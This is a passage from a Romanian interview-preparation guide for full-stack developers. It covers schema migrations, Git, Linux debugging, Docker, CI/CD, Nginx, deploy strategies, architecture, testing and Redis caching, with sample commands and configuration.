  • 1. Expand: ALTER TABLE users ADD COLUMN full_name text; (adăugarea unei coloane care acceptă NULL, fără valoare implicită volatilă, e rapidă în PostgreSQL).
  • 2. Dublă scriere: aplicația scrie în name și în full_name. Citește încă din name.
  • 3. Backfill în loturi, ca să nu blochezi tabelul și să nu generezi o tranzacție uriașă:
SQL
UPDATE users SET full_name = name
WHERE id IN (
  SELECT id FROM users WHERE full_name IS NULL LIMIT 5000
);
-- se repetă până nu mai sunt rânduri, cu pauze între loturi
  • 4. Citirile se mută pe full_name. Eventual adaugi constrângerea NOT NULL (în PostgreSQL, întâi un CHECK ... NOT VALID, apoi VALIDATE CONSTRAINT, ca să eviți blocarea lungă).
  • 5. Oprești scrierile în name.
  • 6. Contract: după ce ești sigur că nicio instanță, job sau raport nu mai folosește coloana, o ștergi.

Principii generale:

  • migrările de schemă sunt separate de schimbările de cod care depind de ele și sunt compatibile înainte și înapoi;
  • atenție la operațiile care blochează tabelul: adăugarea unui index fără CONCURRENTLY, schimbarea tipului unei coloane, NOT NULL validat direct pe tabele mari;
  • setezi lock_timeout la migrări, ca o migrare blocată să eșueze rapid în loc să oprească toate query-urile din spatele ei.

Ce urmărește intervievatorul: Se verifică experiența cu sisteme care nu își permit întreruperi. Răspunsul slab este o singură migrare rulată la deploy, fără să ții cont că ambele versiuni de cod rulează simultan.

Git, Linux, Docker și deploy

70 Junior

Descrie fluxul tău zilnic cu Git într-o echipă: de la un task nou până la codul ajuns în main.

Răspuns scurt: Actualizezi main, creezi un branch pentru task, faci commituri mici cu mesaje clare, urci branchul și deschizi un pull request. După code review și testele automate trecute, branchul se integrează în main, de obicei prin squash sau merge, iar branchul se șterge.

Un flux tipic, apropiat de GitHub Flow:

BASH
git switch main
git pull
git switch -c feature/filtrare-comenzi

# lucrezi, apoi
git status
git add src/api/orders.ts src/pages/Orders.tsx
git commit -m "Adaugă filtrarea comenzilor după status"

git push -u origin feature/filtrare-comenzi
# deschizi pull requestul pe GitHub sau GitLab

Bune practici pe care merită să le menționezi:

  • commituri mici și coerente, fiecare cu un singur scop. Mesajul spune ce face și, dacă nu e evident, de ce. Unele echipe folosesc Conventional Commits (feat:, fix:).
  • verifici ce adaugi: git diff --staged înainte de commit, ca să nu urci fișiere de debug, console.log-uri sau .env.
  • sincronizare cu main când branchul trăiește mai mult: git fetch și apoi git rebase origin/main (istorie liniară, dar rescrie commiturile tale) sau git merge origin/main (păstrează istoria, adaugă un commit de merge).
  • regula de aur a rebase-ului: nu rescrii istoria unui branch pe care lucrează și alții. Dacă ai făcut rebase la branchul tău deja urcat, folosești git push --force-with-lease, nu --force, ca să nu suprascrii commiturile altcuiva.
  • pull request cu descriere: ce schimbă, cum se testează, capturi de ecran pentru modificările de interfață. Pentru full-stack, menționezi explicit dacă necesită o migrare sau variabile de mediu noi.
  • branchul main e protejat: nimeni nu urcă direct, totul trece prin PR, review și CI.

Ce urmărește intervievatorul: Intervievatorul verifică dacă ai lucrat în echipă, nu doar singur pe main. Greșelile tipice sunt commiturile uriașe și force push fără protecție pe branchuri comune.

71 Junior

Ai un conflict de merge în package.json și într-un fișier de componentă. Cum îl rezolvi?

Răspuns scurt: Git marchează zonele în conflict cu <<<<<<<, ======= și >>>>>>>. Deschizi fiecare fișier, înțelegi ambele schimbări, păstrezi varianta corectă (adesea o combinație), ștergi marcajele, rulezi aplicația și testele, apoi marchezi fișierele rezolvate cu git add și finalizezi.

Conflictul apare când două branchuri au modificat aceleași linii, iar Git nu poate decide singur.

<<<<<<< HEAD
  const pageSize = 20;
=======
  const pageSize = Number(searchParams.get('size')) || 10;
>>>>>>> feature/paginare

Pașii:

BASH
git merge main            # sau git rebase main
git status                # listează fișierele în conflict
# editezi fișierele și elimini marcajele
npm test
git add src/pages/Orders.tsx
git commit                # la merge
# sau: git rebase --continue

Ce contează la rezolvare:

  • înțelege intenția ambelor schimbări, nu alege orbește „varianta mea”. Dacă nu e clar, întreabă autorul celeilalte modificări;
  • uneori rezultatul corect combină ambele părți: în exemplu, parametrul din URL cu valoarea implicită 20 din main;
  • package.json: combini dependențele din ambele părți, apoi nu rezolvi manual package-lock.json. Îl regenerezi cu npm install, care produce un lockfile consistent, și urci rezultatul;
  • rulează aplicația și testele după rezolvare: un merge fără conflicte textuale poate fi totuși greșit logic, de exemplu o funcție redenumită pe un branch și folosită cu numele vechi pe celălalt;
  • dacă te-ai încurcat, git merge --abort sau git rebase --abort te întoarce la starea dinainte.

Ca să ai mai puține conflicte: branchuri cu viață scurtă, sincronizare frecventă cu main și formatare automată (Prettier), ca diferențele de spațiere să nu genereze conflicte false. Editorul (VS Code) și git mergetool oferă o vizualizare în trei panouri.

Ce urmărește intervievatorul: Se verifică dacă rezolvi conflicte cu înțelegere, nu mecanic. O greșeală frecventă la full-stack este editarea manuală a lockfile-ului.

72 Junior

Pe un server Linux, aplicația Node nu pornește și dă „EADDRINUSE: address already in use :::3000”. Ce comenzi folosești ca să afli ce se întâmplă?

Răspuns scurt: Alt proces ascultă deja pe portul 3000. Îl găsești cu ss -ltnp sau lsof -i :3000, îl identifici cu ps, afli dacă e o instanță veche pornită de un manager de servicii, îl oprești corect și verifici logurile.

BASH
# cine ascultă pe portul 3000
sudo ss -ltnp | grep :3000
sudo lsof -i :3000

# detalii despre proces
ps -fp 12345
ps aux | grep node

# oprire: întâi semnalul politicos, SIGTERM
kill 12345
# doar dacă nu răspunde: kill -9 12345 (SIGKILL, fără curățenie)

De multe ori procesul e chiar o instanță veche a aplicației, pornită de un manager de servicii. Dacă o omori cu kill, managerul o repornește imediat. Verifici cum rulează aplicația:

BASH
systemctl status myapp
journalctl -u myapp -n 100 -f    # ultimele loguri, în timp real
pm2 list                         # dacă se folosește PM2
docker ps                        # dacă rulează într-un container

Alte comenzi utile la depanarea unui server:

  • tail -f /var/log/nginx/error.log pentru erorile proxy-ului;
  • curl -i http://localhost:3000/health ca să testezi aplicația local, fără Nginx în față;
  • df -h (disc plin, o cauză frecventă de comportament ciudat), free -h (memorie), top sau htop (CPU, procese);
  • env | grep NODE sau cat /proc/12345/environ pentru variabilele de mediu ale procesului;
  • ls -l și whoami pentru probleme de permisiuni: un utilizator obișnuit nu poate asculta pe porturile sub 1024 fără drepturi speciale, motiv pentru care aplicația ascultă pe 3000, iar Nginx pe 80 și 443.

În cod, poți face aplicația să citească portul din process.env.PORT, ca să-l poți schimba fără modificări.

Ce urmărește intervievatorul: Intervievatorul verifică dacă te descurci singur pe un server, dincolo de mediul local. Greșeala tipică este kill -9 direct, fără să afli cine pornește procesul.

73 Junior

Ce este Docker și care e diferența dintre o imagine și un container?

Răspuns scurt: Docker împachetează aplicația împreună cu dependențele ei într-un mediu izolat, care rulează la fel pe orice mașină cu Docker. Imaginea este șablonul, construit din Dockerfile și format din straturi read-only. Containerul este o instanță în execuție a imaginii, cu propriul strat de scriere.

Analogie utilă: imaginea este ca o clasă, containerul ca un obiect creat din ea. Din aceeași imagine poți porni oricâte containere.

  • Imaginea conține sistemul de fișiere necesar (o distribuție Linux minimală, Node.js, node_modules, codul tău) și metadatele (comanda de pornire, portul expus, variabilele implicite). Este construită în straturi: fiecare instrucțiune din Dockerfile adaugă un strat, iar straturile nemodificate sunt refolosite din cache la următorul build.
  • Containerul este un proces izolat, care rulează pe kernelul gazdei, cu propriul sistem de fișiere, rețea și procese, plus un strat de scriere. Ce scrie în acel strat se pierde când containerul e șters; datele permanente stau în volume.

Comenzi de bază:

BASH
docker build -t shop-api:1.0 .
docker run -d --name api -p 3000:3000 --env-file .env shop-api:1.0
docker ps
docker logs -f api
docker exec -it api sh
docker stop api && docker rm api

-p 3000:3000 mapează portul gazdei la portul containerului; fără el, aplicația nu e accesibilă din afară.

Diferența față de o mașină virtuală: containerul nu are propriul kernel, deci pornește în câteva secunde și consumă mult mai puține resurse; în schimb, izolarea e mai slabă.

De ce contează pentru full-stack: elimini „la mine merge”, pornești rapid PostgreSQL și Redis local fără instalări, iar imaginea testată în CI este exact cea care ajunge în producție. Imaginile se publică într-un registry (Docker Hub, GitHub Container Registry) cu tag-uri de versiune.

Ce urmărește intervievatorul: Întrebarea de bază verifică vocabularul Docker. Candidații confundă des imaginea cu containerul sau cred că datele scrise în container persistă.

74 Junior

Cum pornești local, cu Docker Compose, aplicația Node împreună cu PostgreSQL?

Răspuns scurt: Scrii un fișier compose.yaml cu două servicii: aplicația, construită din Dockerfile, și baza de date, din imaginea oficială postgres, cu un volum pentru date. Aplicația se conectează la baza de date folosind numele serviciului ca host, iar totul pornește cu docker compose up.

YAML
services:
  db:
    image: postgres:17
    environment:
      POSTGRES_USER: shop
      POSTGRES_PASSWORD: shop_dev
      POSTGRES_DB: shop
    volumes:
      - pgdata:/var/lib/postgresql/data
    ports:
      - "5432:5432"
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U shop"]
      interval: 5s
      retries: 10

  api:
    build: .
    environment:
      DATABASE_URL: postgres://shop:shop_dev@db:5432/shop
      PORT: "3000"
    ports:
      - "3000:3000"
    depends_on:
      db:
        condition: service_healthy

volumes:
  pgdata:
BASH
docker compose up -d --build
docker compose logs -f api
docker compose down        # oprește; datele rămân în volum
docker compose down -v     # oprește și șterge volumul

Ce trebuie înțeles:

  • numele serviciului e hostname-ul: în containerul api, baza de date este la db:5432, nu la localhost. În interiorul unui container, localhost înseamnă containerul însuși, o confuzie foarte frecventă;
  • volumul pgdata păstrează datele între reporniri;
  • depends_on simplu așteaptă doar pornirea containerului, nu ca Postgres să accepte conexiuni. Cu condition: service_healthy și un healthcheck, aplicația pornește abia când baza e pregătită. Aplicația ar trebui oricum să reîncerce conexiunea;
  • parolele din exemplu sunt doar pentru dezvoltare; în producție vin din secrete;
  • pentru dezvoltare cu reîncărcare automată, poți monta codul sursă ca volum și rula node --watch.

Frontendul cu Vite îl rulezi de obicei direct pe calculator, cu proxy spre localhost:3000.

Ce urmărește intervievatorul: Se verifică dacă poți pune rapid în funcțiune un mediu complet de dezvoltare. Greșeala clasică este folosirea lui localhost în loc de numele serviciului.

75 Junior

Ce înseamnă CI/CD și ce pași ai pune într-un pipeline pentru o aplicație full-stack?

Răspuns scurt: CI (Continuous Integration) înseamnă că la fiecare push sau pull request se rulează automat verificări: instalare, lint, verificarea tipurilor, teste, build. CD (Continuous Delivery sau Deployment) înseamnă că un build verificat ajunge automat, sau cu un singur click, în staging și în producție.

Un pipeline tipic, de exemplu în GitHub Actions:

YAML
name: ci
on: [pull_request, push]
jobs:
  test:
    runs-on: ubuntu-latest
    services:
      postgres:
        image: postgres:17
        env: { POSTGRES_PASSWORD: test }
        ports: ['5432:5432']
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: 22, cache: npm }
      - run: npm ci
      - run: npm run lint
      - run: npm run typecheck
      - run: npm test
        env: { DATABASE_URL: postgres://postgres:test@localhost:5432/postgres }
      - run: npm run build

Pașii și rostul lor:

  • npm ci, nu npm install: instalează exact versiunile din lockfile și eșuează dacă lockfile-ul nu se potrivește cu package.json;
  • lint și typecheck prind rapid greșelile ieftine;
  • teste unitare și de integrare, cele de integrare cu o bază de date reală pornită ca serviciu;
  • build pentru frontend și backend, ca să prinzi erorile de compilare;
  • opțional: teste end-to-end (Playwright) pe aplicația pornită, scanare de dependențe vulnerabile (npm audit, Dependabot);
  • CD: construirea imaginii Docker cu tag egal cu hash-ul commitului, publicarea în registry, rularea migrărilor, deploy în staging, apoi în producție (automat sau cu aprobare).

Principii: pipeline-ul trebuie să fie rapid (cache pentru dependențe, joburi în paralel), PR-urile nu se pot integra dacă CI-ul e roșu, iar secretele stau în setările platformei, nu în fișierul YAML. Același artefact construit o dată este cel promovat prin toate mediile.

Ce urmărește intervievatorul: Intervievatorul verifică dacă știi cum ajunge codul din PR în producție. Mulți juniori nu cunosc diferența dintre npm ci și npm install.

76 Mid

Scrie un Dockerfile bun pentru producție pentru un API Node.js în TypeScript. Ce optimizări faci?

Răspuns scurt: Folosești un build în mai multe etape: o etapă care instalează toate dependențele și compilează TypeScript, apoi o imagine finală mică, doar cu dependențele de producție și codul compilat. Copiezi întâi package.json pentru cache, rulezi ca utilizator neprivilegiat și adaugi .dockerignore.

# syntax=docker/dockerfile:1
FROM node:22-alpine AS build
WORKDIR /app
COPY package.json package-lock.json ./
RUN npm ci
COPY tsconfig.json ./
COPY src ./src
RUN npm run build

FROM node:22-alpine AS runtime
ENV NODE_ENV=production
WORKDIR /app
COPY package.json package-lock.json ./
RUN npm ci --omit=dev && npm cache clean --force
COPY --from=build /app/dist ./dist
USER node
EXPOSE 3000
CMD ["node", "dist/server.js"]

Decizii de explicat:

  • multi-stage: compilatorul TypeScript și dependențele de dezvoltare rămân în etapa de build, deci imaginea finală e mai mică și are o suprafață de atac redusă;
  • ordinea instrucțiunilor: package.json și lockfile-ul se copiază înaintea codului. Cât timp dependențele nu se schimbă, stratul cu npm ci vine din cache și build-ul durează câteva secunde;
  • .dockerignore cu node_modules, .git, .env, dist: fără el, trimiți în contextul de build fișiere inutile sau secrete, iar un node_modules local, compilat pentru alt sistem, poate ajunge în imagine;
  • imagine de bază fixată la o versiune majoră (node:22-alpine); Alpine e mică, dar folosește musl în loc de glibc, iar unele module native pot avea probleme. Alternativa e node:22-slim;
  • USER node: procesul nu rulează ca root în container;
  • CMD ["node", ...], nu npm start: npm nu transmite întotdeauna corect semnalele, deci aplicația nu primește SIGTERM și nu se poate opri elegant;
  • secretele nu se pun în ENV sau ARG în Dockerfile, pentru că rămân în straturile imaginii; vin din mediu la rulare.

Ce urmărește intervievatorul: Intervievatorul verifică dacă ai construit imagini pentru producție, nu doar ai copiat un exemplu. Greșelile tipice sunt lipsa .dockerignore, rularea ca root și imagini mari cu dependențe de dezvoltare.

77 Mid

Ce trebuie să facă un server Node.js ca să ruleze corect în producție: oprire elegantă, health checks, gestionarea erorilor?

Răspuns scurt: Ascultă semnalul SIGTERM și oprește-te elegant: nu mai accepta conexiuni noi, termină cererile în curs, închide conexiunile la baza de date. Expune endpointuri de health pentru orchestrator, loghează structurat și lasă procesul să moară la erori necunoscute, ca să fie repornit curat.

La fiecare deploy sau scalare în jos, platforma (Docker, Kubernetes, systemd) trimite SIGTERM, așteaptă o perioadă, apoi trimite SIGKILL. Dacă aplicația nu tratează semnalul, cererile în curs sunt tăiate brusc, iar utilizatorii văd erori.

JavaScript
const server = app.listen(process.env.PORT ?? 3000);

let shuttingDown = false;
app.get('/health/live', (req, res) => res.sendStatus(200));
app.get('/health/ready', async (req, res) => {
  if (shuttingDown) return res.sendStatus(503);
  try { await pool.query('SELECT 1'); res.sendStatus(200); }
  catch { res.sendStatus(503); }
});

process.on('SIGTERM', () => {
  shuttingDown = true;
  server.close(async () => {
    await pool.end();
    process.exit(0);
  });
  setTimeout(() => process.exit(1), 10000).unref();
});

process.on('unhandledRejection', (err) => { logger.error(err); process.exit(1); });

Explicații:

  • liveness spune dacă procesul trăiește (dacă nu, e repornit); readiness spune dacă poate primi trafic (dacă nu, load balancerul nu îi mai trimite cereri). Nu pune verificarea bazei de date în liveness, altfel o problemă temporară a bazei de date repornește toate instanțele;
  • server.close nu închide singur conexiunile keep-alive inactive; în Node 18.2 și mai nou există server.closeIdleConnections(), iar timeout-ul de siguranță garantează că procesul se oprește;
  • după o excepție necunoscută, starea procesului e nesigură. Corect e să loghezi și să ieși, iar managerul de procese (systemd, Docker cu restart: unless-stopped, Kubernetes) pornește o instanță nouă;
  • loguri structurate în JSON pe stdout (pino), nu în fișiere din container;
  • setează timeouturi (server.headersTimeout, timeouturi la apelurile externe), ca o dependență lentă să nu țină conexiunile blocate la nesfârșit.

Ce urmărește intervievatorul: Se verifică experiența cu aplicații care rulează în producție, nu doar local. Mulți candidați nu au auzit de SIGTERM sau confundă liveness cu readiness.

78 Mid

Ce rol are un reverse proxy precum Nginx în fața aplicației Node și cum arată o configurare de bază?

Răspuns scurt: Reverse proxy-ul primește traficul public și îl transmite aplicației interne. Termină TLS, servește fișierele statice ale frontendului, comprimă răspunsurile, limitează dimensiunea cererilor, poate distribui traficul pe mai multe instanțe și pune frontendul și API-ul pe același domeniu, evitând CORS.

upstream api {
    server 127.0.0.1:3000;
    server 127.0.0.1:3001;
    keepalive 32;
}

server {
    listen 443 ssl;
    http2 on;
    server_name app.exemplu.ro;
    ssl_certificate     /etc/letsencrypt/live/app.exemplu.ro/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/app.exemplu.ro/privkey.pem;

    client_max_body_size 10m;
    gzip on;
    gzip_types application/json text/css application/javascript;

    root /var/www/app/dist;

    location /api/ {
        proxy_pass http://api;
        proxy_http_version 1.1;
        proxy_set_header Connection "";
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_read_timeout 30s;
    }

    location / {
        try_files $uri /index.html;
    }
}

Ce câștigi:

  • TLS gestionat într-un singur loc, cu reînnoire automată prin certbot;
  • același domeniu pentru frontend și API, deci fără CORS, iar cookie-urile sunt first-party;
  • fișiere statice servite foarte eficient, fără să consume event loop-ul Node;
  • load balancing între mai multe procese sau servere;
  • protecție de bază: limite de dimensiune, timeouturi, rate limiting cu limit_req.

Atenție la două lucruri. Aplicația vede acum ca IP sursă proxy-ul, deci în Express setezi app.set('trust proxy', 1) ca să citească X-Forwarded-For și X-Forwarded-Proto (pentru IP-ul real, cookie-urile Secure și redirecturi corecte). Iar pentru WebSocket sau SSE ai nevoie de configurări suplimentare (Upgrade, proxy_buffering off). Alternative populare: Caddy (HTTPS automat), Traefik, sau load balancerele furnizorilor de cloud.

Ce urmărește intervievatorul: Intervievatorul verifică dacă înțelegi ce se află între utilizator și codul tău în producție. Greșeala frecventă este uitarea lui trust proxy, care strică IP-urile și cookie-urile Secure.

79 Mid

„La mine merge, dar în producție nu.” Cum abordezi o astfel de problemă într-o aplicație full-stack?

Răspuns scurt: Aduni informații înainte să ghicești: logurile și eroarea exactă, cererea care eșuează, versiunea livrată. Apoi compari sistematic mediile: variabile de mediu, versiuni de Node și de dependențe, date, rețea, permisiuni, configurarea proxy-ului și diferențele dintre build-ul de dezvoltare și cel de producție.

Abordare structurată:

1. Reprodu și observă

  • care e simptomul exact: un 500, o pagină albă, date lipsă, doar pentru unii utilizatori?
  • erorile din consola browserului (în producție codul e minificat, deci ai nevoie de source maps într-un serviciu de raportare precum Sentry);
  • logurile serverului pentru acel moment, ideal găsite după un requestId;
  • ce s-a schimbat: ultimul deploy, o migrare, o variabilă, o dependență.

2. Compară mediile, pe categorii

  • configurare: variabile de mediu lipsă sau diferite (VITE_API_URL setat la build, nu la rulare), chei de test față de chei reale;
  • versiuni: Node diferit local și pe server; npm install local față de npm ci cu lockfile în producție;
  • build: în dezvoltare, Vite servește modulele neîmpachetate, iar în producție codul e minificat și împărțit; importuri cu litere mari sau mici greșite merg pe macOS (sistem de fișiere care nu ține cont de majuscule), dar eșuează pe Linux;
  • date: în producție există rânduri cu NULL, caractere speciale, volume mari, fusuri orare;
  • rețea: HTTPS, CORS cu altă origine, cookie-uri Secure și SameSite, timeouturile proxy-ului, firewall-ul către baza de date;
  • resurse: memorie limitată în container, disc plin, permisiuni pe directoare.

3. Izolează: reprodu cu configurarea de producție local (imaginea Docker identică, NODE_ENV=production, o copie anonimizată a datelor) sau pe staging.

4. Repară și previne: un test pentru cazul găsit, validarea variabilelor de mediu la pornire, aceeași imagine Docker în toate mediile. Dacă impactul e mare, faci întâi rollback, apoi investighezi liniștit.

Ce urmărește intervievatorul: Se verifică metoda de depanare sub presiune. Răspunsurile slabe sar la o cauză preferată în loc să adune date și să compare mediile sistematic.

80 Senior

Ce strategii de deploy cunoști (rolling, blue-green, canary) și cum asiguri un rollback rapid?

Răspuns scurt: Rolling înlocuiește instanțele treptat, blue-green pornește un mediu complet nou și mută tot traficul deodată, canary trimite întâi un procent mic de trafic la versiunea nouă. Rollback-ul rapid cere artefacte versionate, migrări compatibile cu versiunea anterioară și feature flags pentru schimbările riscante.

Rolling update: instanțele se înlocuiesc una câte una, fiecare primind trafic doar după ce trece de readiness. Implicit în Kubernetes și în multe platforme. Avantaj: nu ai nevoie de capacitate dublă. Dezavantaj: o perioadă rulează ambele versiuni, deci API-ul și schema trebuie să fie compatibile.

Blue-green: ai două medii identice. „Blue” servește trafic, „green” primește noua versiune și e testat. Comuți routerul sau load balancerul, iar rollback-ul înseamnă comutarea înapoi. Cost: infrastructură dublă pe durata deploy-ului. Baza de date rămâne de obicei comună, deci problema schemei nu dispare.

Canary: noua versiune primește 1%, apoi 10%, 50% și 100% din trafic, cu monitorizarea ratei de erori și a latenței la fiecare pas. Poate fi automatizat (oprire automată la depășirea unui prag). Cel mai sigur pentru sisteme cu trafic mare, dar cere observabilitate bună.

Pentru rollback rapid:

  • artefacte imuabile (imagini Docker cu tag după commit); rollback înseamnă redeploy la imaginea anterioară, fără rebuild;
  • migrări expand and contract: versiunea anterioară a codului trebuie să funcționeze cu schema nouă. Altfel rollback-ul aplicației cere rollback de bază de date, adesea imposibil fără pierdere de date;
  • feature flags: codul nou ajunge dezactivat în producție și se activează separat de deploy, gradual, pe utilizatori sau procente. Oprirea unei funcționalități devine o schimbare de configurare;
  • frontend: păstrează pe CDN fișierele versiunii anterioare o vreme, ca utilizatorii cu tabul deschis să nu primească erori la încărcarea leneșă a unui chunk inexistent;
  • monitorizare și alerte pe metrici de business (comenzi pe minut), nu doar pe CPU, plus un runbook exersat.

Ce urmărește intervievatorul: Intervievatorul verifică maturitatea în livrarea software. Greșeala tipică este o strategie de deploy bună, dar cu migrări care fac rollback-ul imposibil.

Arhitectură, performanță și testare

81 Junior

Cum ai organiza structura de foldere pentru un proiect full-stack cu React și Node.js?

Răspuns scurt: O variantă comună este un monorepo cu workspaces: apps/web pentru React, apps/api pentru Node și packages/shared pentru tipuri și validări comune. În interiorul fiecărei aplicații, organizezi codul pe funcționalități (orders, users), nu doar pe tipuri tehnice de fișiere.

shop/
  package.json          workspaces: apps/*, packages/*
  apps/
    web/                React + Vite
      src/
        features/
          orders/       OrdersPage.tsx, useOrders.ts, api.ts
          auth/
        components/     componente generale (Button, Modal)
        lib/            clientul HTTP, utilitare
    api/                Node + Express sau Fastify
      src/
        modules/
          orders/       orders.routes.ts, orders.service.ts, orders.repo.ts
          users/
        db/             conexiune, migrări
        config.ts       citirea și validarea variabilelor de mediu
        server.ts
  packages/
    shared/             scheme Zod, tipuri, constante
  compose.yaml
  .github/workflows/

De ce așa:

  • monorepo: o singură schimbare care atinge API-ul și interfața intră într-un singur pull request, iar tipurile comune se folosesc fără publicare pe npm. Unelte: npm, pnpm sau Yarn workspaces, opțional Turborepo sau Nx pentru build-uri incrementale;
  • organizare pe funcționalități: tot ce ține de comenzi stă împreună. Când lucrezi la comenzi, nu sari între patru foldere uriașe (controllers/, services/, models/, views/);
  • shared fără dependențe de Node sau de browser, ca să poată fi importat de ambele capete;
  • configurarea centralizată: un singur modul care citește și validează process.env.

Alternativa cu două repository-uri separate e potrivită când frontendul și backendul au echipe și cicluri de livrare diferite, dar sincronizarea contractului devine mai grea. Pentru un proiect mic, o aplicație Next.js cu rute de API poate fi suficientă. Contează mai mult consecvența decât structura exactă.

Ce urmărește intervievatorul: Se verifică dacă te-ai gândit la organizarea codului dincolo de tutoriale. Un răspuns bun justifică alegerea, nu doar o enumeră.

82 Junior

De ce separi backendul în straturi (rute sau controllere, servicii, acces la date) în loc să scrii totul în handlerul Express?

Răspuns scurt: Fiecare strat are o singură responsabilitate: ruta tratează HTTP-ul (parsare, validare, coduri de status), serviciul conține regulile de business, iar stratul de date vorbește cu baza de date. Codul devine mai ușor de testat, de refolosit și de modificat fără efecte în lanț.

Totul într-un handler arată așa: parsare, validare, verificarea stocului, calculul reducerii, SQL, trimiterea emailului și formatarea răspunsului, în 120 de linii. Când același flux trebuie apelat dintr-un job sau dintr-un webhook, e copiat.

Separat pe straturi:

TypeScript
// orders.routes.ts - HTTP
router.post('/', requireAuth, async (req, res, next) => {
  const input = CreateOrder.parse(req.body);
  try {
    const order = await ordersService.place(req.user.id, input);
    res.status(201).json(order);
  } catch (err) { next(err); }
});

// orders.service.ts - reguli de business
export async function place(userId: number, input: CreateOrder) {
  const product = await productsRepo.findById(input.productId);
  if (!product) throw new NotFoundError('product');
  const total = applyDiscount(product.price * input.quantity, userId);
  const order = await ordersRepo.create({ userId, ...input, total });
  await jobs.enqueue('send-order-email', { orderId: order.id });
  return order;
}

// orders.repo.ts - acces la date
export const create = (o: NewOrder) => db.insertInto('orders').values(o).returningAll().executeTakeFirstOrThrow();

Beneficii:

  • testare: serviciul se testează fără server HTTP, cu un repository fals sau cu o bază de date de test;
  • refolosire: același place poate fi apelat din API, dintr-un CLI sau dintr-un job;
  • schimbări localizate: trecerea de la Express la Fastify atinge doar rutele; schimbarea ORM-ului atinge doar repository-urile;
  • reguli într-un singur loc.

Nu exagera: pentru un CRUD simplu, trei straturi cu funcții care doar pasează datele mai departe sunt cod în plus. Straturile își merită costul când logica de business crește. Regula de dependență: rutele cunosc serviciile, serviciile cunosc repository-urile, invers niciodată.

Ce urmărește intervievatorul: Intervievatorul verifică dacă scrii cod de backend ușor de întreținut. Greșelile opuse sunt handlere uriașe și straturi goale adăugate fără motiv.

83 Junior

Cum ai testa o aplicație full-stack? Ce teste scrii pe frontend, pe backend și cap-coadă?

Răspuns scurt: Urmezi piramida testelor: multe teste unitare rapide pentru logică, teste de integrare pentru API cu o bază de date reală și pentru componente React cu Testing Library, plus câteva teste end-to-end cu Playwright pentru fluxurile critice, precum login și plasarea comenzii.

Teste unitare (Vitest sau Jest): funcții pure și reguli de business, cum ar fi calculul reducerii, validările sau formatarea prețului. Sunt rapide și precise, rulează la fiecare salvare.

Integrare pe backend: pornești aplicația Express în proces și trimiți cereri reale cu Supertest, pe o bază de date de test (un container PostgreSQL în CI). Testezi validarea, codurile de status, autorizarea și efectele în baza de date.

JavaScript
import request from 'supertest';
test('respinge comanda fără autentificare', async () => {
  await request(app).post('/api/orders').send({ productId: 1, quantity: 1 }).expect(401);
});
test('un utilizator nu vede comanda altuia', async () => {
  const res = await request(app).get('/api/orders/' + otherOrderId).set('Cookie', cookieUserA);
  expect(res.status).toBe(404);
});

Componente React (Testing Library): randezi componenta și interacționezi ca un utilizator (găsești elemente după rol și text, nu după clase CSS). Cererile de rețea le simulezi la nivel de rețea cu MSW (Mock Service Worker), nu prin mock-uri pe fetch în fiecare test.

End-to-end (Playwright, Cypress): browser real, aplicație completă pornită. Puține, pentru fluxurile care aduc bani sau care, dacă se strică, blochează utilizatorii: înregistrare, login, coș, checkout.

Principii:

  • teste de contract între frontend și backend, prin aceleași scheme partajate sau prin OpenAPI;
  • datele de test se creează în test, nu depind de ordinea rulării;
  • testele care pică aleatoriu (flaky) se repară sau se elimină, altfel echipa începe să le ignore pe toate;
  • o acoperire de 100% nu e scopul; scopul este încrederea că poți face deploy.

Ce urmărește intervievatorul: Se verifică dacă știi ce tip de test se potrivește fiecărui risc. Greșeala tipică este fie lipsa testelor de integrare pe API, fie o suită lentă formată aproape numai din teste end-to-end.

84 Mid

Pornești un produs nou cu o echipă mică. Alegi un monolit sau microservicii?

Răspuns scurt: De regulă un monolit modular: un singur deploy și o singură bază de date, dar module cu granițe clare. Microserviciile rezolvă probleme de organizare și scalare pe care o echipă mică nu le are încă și aduc costuri mari de operare.

Monolit nu înseamnă cod dezordonat. Un monolit modular are module (comenzi, plăți, catalog) cu interfețe explicite între ele, fără acces direct la tabelele altui modul.

Avantaje pentru început:

  • un singur proiect de rulat local, un singur pipeline, un singur deploy;
  • apelurile între module sunt apeluri de funcții, nu cereri de rețea care pot eșua;
  • tranzacțiile din baza de date acoperă mai multe module (comanda și stocul în aceeași tranzacție);
  • refactorizarea granițelor e ieftină cât timp domeniul încă se schimbă.

Microservicii: servicii livrate independent, fiecare cu datele lui, comunicând prin HTTP, gRPC sau mesaje. Își merită costul când:

  • ai mai multe echipe care se blochează reciproc în același cod și la același deploy;
  • o parte are nevoi foarte diferite de scalare sau de tehnologie (procesare video, un model ML);
  • ai nevoie de izolarea eșecurilor între domenii.

Costuri reale: rețea nesigură (timeouturi, reîncercări, idempotență), consistență eventuală în loc de tranzacții (tiparul saga, outbox), observabilitate distribuită, versionarea contractelor între servicii, mai multă infrastructură. Un sistem de microservicii împărțit greșit, unde fiecare cerere traversează cinci servicii, este un monolit distribuit: are dezavantajele ambelor abordări.

Răspunsul matur: pornești cu monolit modular, măsori, iar când apare o nevoie concretă, extragi modulul cu granițele cele mai clare într-un serviciu separat.

Ce urmărește intervievatorul: Intervievatorul verifică judecata arhitecturală și rezistența la modă. Răspunsul slab este „microservicii, pentru că scalează”, fără costuri sau criterii.

85 Mid

Pagina de produs face query-uri grele. Cum adaugi un cache cu Redis și cum îl invalidezi?

Răspuns scurt: Cel mai des folosești cache-aside: citești întâi din Redis, iar la lipsă interoghezi baza de date și salvezi rezultatul cu un TTL. La modificarea produsului ștergi cheia, ca următoarea citire să aducă datele noi. TTL-ul rămâne o plasă de siguranță pentru invalidările ratate.

JavaScript
async function getProduct(id) {
  const key = 'product:v1:' + id;
  const cached = await redis.get(key);
  if (cached) return JSON.parse(cached);

  const product = await productsRepo.findWithDetails(id);
  if (product) {
    await redis.set(key, JSON.stringify(product), { EX: 300 });
  }
  return product;
}

async function updateProduct(id, changes) {
  const product = await productsRepo.update(id, changes);
  await redis.del('product:v1:' + id);
  return product;
}

Decizii și capcane:

  • ștergi, nu rescrii cheia la update: dacă două actualizări concurente rescriu cache-ul în ordine inversă, rămâi cu date vechi. Ștergerea e mai simplă și mai sigură;
